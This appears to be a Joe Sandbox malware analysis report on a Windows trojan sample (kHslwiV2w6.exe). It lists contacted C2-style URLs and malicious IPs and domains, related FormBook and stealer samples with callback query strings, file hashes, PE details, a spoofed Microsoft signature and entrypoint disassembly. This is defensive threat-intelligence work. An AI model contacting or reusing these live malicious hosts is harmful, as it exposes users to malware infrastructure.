http://www.tigajco69.fun/md02/www.zruypj169g.top	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.localhomeservicesadvisor.com/md02/www.saeutah.com	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/news/politics/6-things-to-watch-for-when-kamala-harris-debates-donald-trum	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/entertainment/news/james-earl-jones-dies-at-93-all-about-his-son-flynn/ar-	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/news/crime/tyreek-hill-s-traffic-stop-shows-interactions-with-police-can-b	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.upcyclecharms.com	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/health/medical/2-egg-brands-have-been-recalled-due-to-a-serious-salmonella	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	kHslwiV2w6.exe	false	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000004.00000003.8285449351.0000000010BEC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6858022237.0000000010BA5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287825721.0000000010C9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11897707281.0000000010C91000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286577674.0000000010C83000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.upcyclecharms.comReferer:	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gDkX-dark	explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.zruypj169g.topReferer:	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.attorney-services-8344642.zone/md02/	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.jalaios10.vip/md02/www.chiri.lat	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.andrewghita.com	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.pittsparking.com/md02/	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.yeslabs.xyz/md02/	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.andrewghita.com/md02/www.attorney-services-8344642.zone	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.qqkartel88v1.com	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/travel/news/scientists-finally-solve-mystery-behind-bermuda-triangle-disap	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.saeutah.com/md02/	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://api.msn.com/sports/blended?market=en-us&satoriid=3e4b6c3b-d87a-8603-8e90-e93f0f328660&user=m	explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000004.00000002.11890837892.000000000CE47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gowI	explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.chiri.lat/md02/	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.hecxion.xyz/md02/	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://ocsp.sectigo.com0	kHslwiV2w6.exe	false	unknown
http://www.woby.xyz	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/sports/nfl/49ers-win-over-jets-ends-with-final-score-that-s-never-been-see	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.vizamag.comReferer:	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.rakring.com/md02/www.rslotrank.win	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://api.msn.com/U	explorer.exe, 00000004.00000002.11886221151.00000000094DB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000094DB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8623739115.00000000094DB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286773947.00000000094DB000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/news/us/james-earl-jones-s-talents-went-far-far-beyond-his-magnificent-voi	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.piedge-taiko.net/md02/	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.188.223	ssl1.prod.systemdragon.com	United States	13335	CLOUDFLARENETUS	true
198.185.159.144	ext-sq.squarespace.com	United States	53831	SQUARESPACEUS	true
172.67.143.211	www.tigajco69.fun	United States	13335	CLOUDFLARENETUS	true
172.66.0.70	andrewghita.com	United States	13335	CLOUDFLARENETUS	true
52.206.163.162	proxy-ssl-geo.webflow.com	United States	14618	AMAZON-AESUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529053
Start date and time:	2024-10-08 15:59:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	kHslwiV2w6.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@385/0@23/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 70% Number of executed functions: 64 Number of non-executed functions: 260
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: kHslwiV2w6.exe

Simulations

Behavior and APIs

Time	Type	Description
10:02:17	API Interceptor	15112266x Sleep call for process: raserver.exe modified
10:02:25	API Interceptor	18365249x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.188.223	order-payment094093.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.businessjp6-51399.info/hd05/?qN9=GZs8E2R84fNPO8q&nddt40n=JEike4UQJLQakUPq/U16jy99RdjpJ2GxkH0s41l6Bypxc6148iCveXLCB/psYJ6oRgQVgJFOnA==
198.185.159.144	5h48M0mr7p.exe	Get hash	malicious	FormBook	Browse	www.pizzeriadonluca.com/tqug/?t8eH=Bd68RFqHJL7&BZ=Tm91fa44ftZCPMS4MR2eIRgBICbXKooMeZ+9PNwMGgavbZaFtNpIYa/u14epU4tdNV9dH3afqQ==
	rfOfF6s6gI.exe	Get hash	malicious	FormBook	Browse	www.wearelemonpepper.com/e72r/
	4qV0xW2NSj.exe	Get hash	malicious	FormBook	Browse	www.wearelemonpepper.com/e72r/
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	198.185.159.144/
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	198.185.159.144/
	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	198.185.159.144/
	LYONSOFT, COOP.V. - Env#U00edo orden 240187 fecha 02-09-2024.exe	Get hash	malicious	FormBook	Browse	www.consultoriamax.net/rn94/?D8v=8pGtVJo0up&Rfg=2JuEGy1AzmLWlmggvy20ihD+4b+i/qJT0Rq51f6xG6YauqLT7h1HcItJQqrNe+TJOdi5
	Etisalat Summary Bill for the Month of August.exe	Get hash	malicious	FormBook	Browse	www.trenchonbirmingham.com/pt46/?-ZYp=fvRlPd_pa8MLs2&BXIxB=AkSBx0MHJHngnyc0Mde9hHB0CQHAj9XhopBfdHKzsou0ftXFKmhTuyA9cdbN6/Nfe1ve
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	www.wearelemonpepper.com/e72r/
	Official Salary for the Month of August 2024 - NU1622662404290592.exe	Get hash	malicious	FormBook	Browse	www.trenchonbirmingham.com/pt46/?Cj90E=AkSBx0MHJHngnyc0Mde9hHB0CQHAj9XhopBfdHKzsou0ftXFKmhTuyA9cdbN6/Nfe1ve&GVWh=CdT0vvb
52.206.163.162	SKM_TR0020102023_pdf.exe	Get hash	malicious	FormBook	Browse	www.getconsol.com/g11y/?DXIDO=zV+AjaIknu0nyITedyv88oZsA+21f869+9+9v+sataYbziG/sKwtZ2V3W9q9ogEF1jb3&tzrh=jlNdnlthmFpxsX

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	PURCHASED ORDER OF ENG091.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	91.195.240.19
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	91.195.240.19
	http://vpnpanda.org/	Get hash	malicious	Unknown	Browse	91.195.240.19
	presupuesto urgente.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	nBjauMrrmC.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	H9DsG7WKGt.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	GestionPagoAProveedores_100920241725998901306_PDF.cmd	Get hash	malicious	Remcos, DBatLoader, FormBook	Browse	91.195.240.19
	0001.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	r8ykXfy52F9CXd5d.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
proxy-ssl-geo.webflow.com	http://bafybeid2klgyiphng6ifws5s35aor57wfi3so6koe2w4ggoacn6gqghegm.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse	18.102.16.191
	http://www.token-webpanel.com/	Get hash	malicious	Unknown	Browse	35.152.104.113
	https://www.cyderes.com/e3t/Ctc/ON+113/cpWbt04/VX4GLN83B5sSVcgNxQ2Ps5TgVfQRxk5l9kHPN48YK9C5m_5PW50kH_H6lZ3pVW8y4rsC3Frq3xW6yS46B81vNwBW7nKjzX7rlDGLW8Pgnsm2TMWP7W8BGJ3S7v4twJW4Frjvh65WTfKVTz5h-5gQP1gMVRZvWxc0gFW70YCkf5Yr5gxW4_ym5p4kM2HWW8XQLRs2fQKTSW6H8zL35wntpYW2g-lt23Pgmr-W5tJKtK3hc6rbW6CjtL61FP38FN8Dg60fYghyWW9bC6JC3rZqmzW8VJhP664ltDxW1lwcb13ZpPGyW5K_1JQ3TqNPdW95WCPZ4QLNngW273xc864PDv3W5x93bB7dRNxTW92-5jF1RVBWpW8x57FF7P2xcjW7KK8Xj8n_ZZMW7CgpVb566CBBW8bVlWQ11xhLlVs3yDJ8NdTRzW12g9Fn559wR0W9bq01776CWknW5nG39p82bgTcf5RLlBK04	Get hash	malicious	Follina CVE-2022-30190	Browse	63.35.51.142
	https://www.champstpo.com/	Get hash	malicious	Unknown	Browse	35.152.119.144
	http://fswcf.org	Get hash	malicious	Unknown	Browse	63.35.51.142
	http://yathuchandran.github.io/Metamask.clone	Get hash	malicious	Unknown	Browse	34.249.200.254
	https://so-coinbas-extsion.webflow.io/	Get hash	malicious	Unknown	Browse	52.17.119.105
	https://viture.com/windows	Get hash	malicious	Unknown	Browse	63.35.51.142
	SecuriteInfo.com.FileRepMalware.25505.20211.exe	Get hash	malicious	Unknown	Browse	63.35.51.142
	Trialog_Drives_Mapping.xlsx	Get hash	malicious	Unknown	Browse	52.17.119.105
www.qqkartel88v1.com	Novi upit #876567-AWB.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
www.qqkartel88v1.com	Narud#U017ebenica 08BIH2024.exe	Get hash	malicious	FormBook	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	CXWCXZOzGM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Dovidka.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	eGBOY15aNx.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	NIJIMUN6pQ.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	5FRWRDOqk7.exe	Get hash	malicious	FormBook	Browse	104.21.24.234
	ItPTgiBC07.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	GrsefI1q4s.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Scan08.10.24(Massimiliano.benso)CQDM.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	V6SBOrgGcr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	rliquida____odefaturadepagamento.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
SQUARESPACEUS	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	198.185.159.144
	http://cp-wc32.syd02.ds.network/~melbou28/cgi.bin/fr/bca13/	Get hash	malicious	Unknown	Browse	198.49.23.145
	http://cp-wc32.syd02.ds.network/~melbou28/cgi.bin/fr/d7f1d/	Get hash	malicious	Unknown	Browse	198.185.159.145
	https://cp-wc32.syd02.ds.network/~melbou28/cgi.bin/fr/500b0/	Get hash	malicious	Unknown	Browse	198.185.159.145
	https://33357.github.io/uniswap-v2	Get hash	malicious	Unknown	Browse	198.49.23.145
	https://dapp-cuteid.cvnlab.com/	Get hash	malicious	Unknown	Browse	198.49.23.145
	https://seedsmarket.org/	Get hash	malicious	HTMLPhisher	Browse	198.185.159.177
	https://www.boutique-insights.com/	Get hash	malicious	Unknown	Browse	198.185.159.144
	FICHIER4!!.pdf	Get hash	malicious	Unknown	Browse	198.185.159.177
	https://pub.marq.com/9d8816-7c5c-4412-bdd0-b960bf225/#_0	Get hash	malicious	Unknown	Browse	198.185.159.177
CLOUDFLARENETUS	CXWCXZOzGM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Dovidka.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	eGBOY15aNx.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	NIJIMUN6pQ.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	5FRWRDOqk7.exe	Get hash	malicious	FormBook	Browse	104.21.24.234
	ItPTgiBC07.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	GrsefI1q4s.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Scan08.10.24(Massimiliano.benso)CQDM.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	V6SBOrgGcr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	rliquida____odefaturadepagamento.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.067796423389837
TrID:	Win64 Executable GUI (202006/5) 77.37% InstallShield setup (43055/19) 16.49% Win64 Executable (generic) (12005/4) 4.60% Generic Win/DOS Executable (2004/3) 0.77% DOS Executable Generic (2002/1) 0.77%
File name:	kHslwiV2w6.exe
File size:	1'627'744 bytes
MD5:	3364dc2488f8444000a9da4c6d999fc4
SHA1:	19cf9bd0f6976d75f7738ec74d2b326edee5bdde
SHA256:	fcf632af143e88dfba5e9256d0fb238eb314b0d20e63141cb659ed7ad001cbb4
SHA512:	24778076f2e3fbd0ab39675bab98bd7da9feaa08e276d720da2fca252377ceb2c7b1da1b9c3b862e2acbea9b6e0c29e77e093c9cff366055d894a969545ea921
SSDEEP:	49152:AAodtaG9kS2U84B+FLan9k5TRM9zlcVj7vdLJ7t:A/B18P7t
TLSH:	7C75CF19E3A811FCD527C674CB55A233E6B170560B21A4CB1B99C7452FB3EE26B7B302
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E......E...E...E...D...E...D...E...D/..E..BE...EJ..D...E...E...E...D...E...D...E...E...E...DD..EI..D...EI..D...E...............

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14006ac2c
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E5ADB8 [Sat Sep 14 15:37:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	22a65106d3d84ea74d966fa0424a5a0c

Authenticode Signature

Signature Valid:	false
Signature Issuer:	C=US, S=Washington, L=Redmond, OU=Microsoft Corporation, O=Microsoft Corporation, CN=Microsoft Code Signing PCA 2011
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	17/09/2024 12:22:40 17/09/2025 12:22:40
Subject Chain	C=US, S=Washington, L=Redmond, OU=Microsoft Corporation, O=Microsoft Corporation, CN=Microsoft Code Signing PCA 2011
Version:	3
Thumbprint MD5:	F377CA390FA4FC298436022336FD1B10
Thumbprint SHA-1:	E82434363EAD01AD4A46E44521DF4A39C3DDF5F9
Thumbprint SHA-256:	11E14F15FBDE946D88B6FFC159BD10F8806ECC7BD2769F260436DD6CB51A2A4A
Serial:	101013DA8DDB93A6F41083213D4E782B

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD30D7171ACh
dec eax
add esp, 28h
jmp 00007FD30D7169D7h
int3
int3
jmp 00007FD30D717528h
int3
int3
int3
dec eax
sub esp, 28h
call 00007FD30D717524h
jmp 00007FD30D716B64h
xor eax, eax
dec eax
add esp, 28h
ret
int3
int3
jmp 00007FD30D716B4Ch
int3
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007FD30D716B72h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007FD30D716B75h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007FD30D716B6Dh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007FD30D716B76h
int3
int3
int3
int3
int3
int3
int3
nop word ptr [eax+eax+00000000h]
dec eax
cmp ecx, dword ptr [00000049h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x17f3c0	0x5c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17f41c	0xf0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19c000	0x2eac4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x18f000	0xcdec	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x18b800	0x1e60	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1cb000	0x5b8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x165ae0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x165d00	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1659a0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11a000	0x6a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6f188	0x6f200	16824105689e93571b28f6d652acf3f1	False	0.45466728768278963	data	6.6338226603175485	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.managed	0x71000	0x77a28	0x77c00	459fe8e4d0429964edfb07e39e66b232	False	0.46850331093423797	data	6.473781869755907	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
hydrated	0xe9000	0x30498	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
